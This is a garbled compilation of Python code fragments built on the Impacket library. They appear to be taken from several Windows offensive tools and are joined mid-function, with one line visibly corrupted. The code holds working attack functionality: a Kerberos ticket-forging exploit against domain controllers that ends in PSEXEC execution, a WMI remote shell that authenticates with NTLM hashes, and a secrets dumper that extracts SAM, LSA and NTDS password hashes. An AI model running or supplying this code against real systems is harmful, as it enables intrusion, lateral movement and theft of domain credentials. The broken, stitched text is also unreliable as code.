self.username = options.username
self.password = options.password
self.lmhash = options.lmhash
self.nthash = options.nthash
self.timeout = options.timeout
self._log = Logger(self.hostname)
self._conn = None
def get_logger(self):
return self._log
def set_logger(self, logger):
self._log = logger
def login(self):
try:
ip = list({
addr[-1][0]
for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)
})[0]
if ip != self.hostname:
self._log.debug("Host {} resolved to {}".format(
self.hostname, ip))
except gaierror as e:
return RetCode(ERROR_DNS_ERROR, e)
try:
self._conn = SMBConnection(ip, ip, timeout=self.timeout)
except Exception as e:
return RetCode(ERROR_CONNECTION_ERROR, e)
username = self.username.split("@")[0]
self._log.debug("Authenticating against {}".format(ip))
try:
self._conn.login(username,
self.password,
domain=self.domain_name,
lmhash=self.lmhash,
nthash=self.nthash,
ntlmFallback=True)
except SessionError as e:
self._log.debug("Provided credentials : {}\\{}:{}".format(
self.domain_name, username, self.password))
return RetCode(ERROR_LOGIN_FAILURE, e)
except Exception as e:
return RetCode(ERROR_UNDEFINED, e)
return RetCode(ERROR_SUCCESS)
def connectTree(self, share_name):
return self._conn.connectTree(share_name)
def openFile(self, tid, fpath, timeout: int = 3):
self._log.debug("Opening file {}".format(fpath))
start = time.time()
while True:
try:
fid = self._conn.openFile(tid,
fpath,
desiredAccess=FILE_READ_DATA)
self._log.debug("File {} opened".format(fpath))
return fid
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find(
'STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
# Output not finished, let's wait
if time.time() - start > timeout:
raise (Exception(e))
time.sleep(1)
else:
raise Exception(e)
def queryInfo(self, tid, fid):
while True:
try:
info = self._conn.queryInfo(tid, fid)
return info
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait
time.sleep(2)
else:
raise Exception(e)
def getFile(self, share_name, path_name, callback):
while True:
try:
self._conn.getFile(share_name, path_name, callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait
time.sleep(2)
else:
raise Exception(e)
def deleteFile(self, share_name, path_name):
while True:
try:
self._conn.deleteFile(share_name, path_name)
self._log.debug("File {} deleted".format(path_name))
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
time.sleep(2)
else:
raise Exception(e)
def putFile(self, share_name, path_name, callback):
try:
self._conn.putFile(share_name, path_name, callback)
self._log.debug("File {} uploaded".format(path_name))
except Exception as e:
raise Exception(
"An error occured while uploading %s on %s share : %s" %
(path_name, share_name, e))
def readFile(self, tid, fid, offset, size):
return self._conn.readFile(tid, fid, offset, size, singleCall=False)
def closeFile(self, tid, fid):
return self._conn.closeFile(tid, fid)
def disconnectTree(self, tid):
return self._conn.disconnectTree(tid)
def isadmin(self):
try:
self.connectTree("C$")
return RetCode(ERROR_SUCCESS)
except Exception as e:
return RetCode(ERROR_ACCESS_DENIED, e)
def close(self):
if self._conn is not None:
self._log.debug("Closing Impacket connection")
self._conn.close()
def clean(self):
try:
self.close()
return RetCode(ERROR_SUCCESS)
except Exception as e:
return RetCode(ERROR_CONNECTION_CLEANING, e)
# Success!
logging.info('%s found vulnerable!' % dc)
break
else:
logging.info('%s seems not vulnerable (%s)' % (dc, exception))
if exception is None:
TGS = {}
TGS['KDC_REP'] = tgsCIFS
TGS['cipher'] = cipher
TGS['oldSessionKey'] = oldSessionKeyCIFS
TGS['sessionKey'] = sessionKeyCIFS
from impacket.smbconnection import SMBConnection
if self.__targetIp is None:
s = SMBConnection('*SMBSERVER', self.__target)
else:
s = SMBConnection('*SMBSERVER', self.__targetIp)
s.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
TGS=TGS,
useCache=False)
if self.__command != 'None':
executer = PSEXEC(self.__command, username, domain, s, TGS,
self.__copyFile)
executer.run(self.__target)
class Wmiexec:
OUTPUT_FILENAME = "__" + str(time.time())
def __init__(self,
ip,
username,
hashes,
password="",
domain="",
share="ADMIN$",
secrets_dir=None):
self.__ip = ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(":")
self.__share = share
self.__secrets_dir = secrets_dir
self.shell = None
def connect(self):
self.smbConnection = SMBConnection(self.__ip, self.__ip)
self.smbConnection.login(
user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
)
self.dcom = DCOMConnection(
target=self.__ip,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True,
)
try:
iInterface = self.dcom.CoCreateInstanceEx(
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
"//./root/cimv2", NULL, NULL)
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
logger.error(str(e))
self.smbConnection.logoff()
self.dcom.disconnect()
def get_remote_shell(self):
self.connect()
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
self.shell = RemoteShell(self.__share, win32Process,
self.smbConnection, self.OUTPUT_FILENAME,
self.__secrets_dir)
return self.shell
def close(self):
self.smbConnection.close()
self.smbConnection = None
self.dcom.disconnect()
self.dcom = None
def main():
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:"******"Executing commands from %s" % options.file.name)
for line in options.file.readlines():
if line[0] != '#':
print("# %s" % line, end=' ')
shell.onecmd(line)
else:
print(line, end=' ')
else:
shell.cmdloop()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class DumpSecrets:
def __init__(self, remoteName, username='', password='', domain='', options=None):
self.__useVSSMethod = options.use_vss
self.__remoteName = remoteName
self.__remoteHost = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__bootkey = options.bootkey
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__printUserStatus= options.user_status
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
self.__options = options
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
if self.__systemHive:
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
import binascii
bootKey = binascii.unhexlify(self.__bootkey)
else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
self.__remoteOps.setExecMethod(self.__options.exec_method)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception as e:
self.__canProcessSAMLSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__doKerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
isRemote=self.__isRemote, history=self.__history)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus= self.__printUserStatus)
try:
self.__NTDSHashes.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e)
if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
logging.info("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()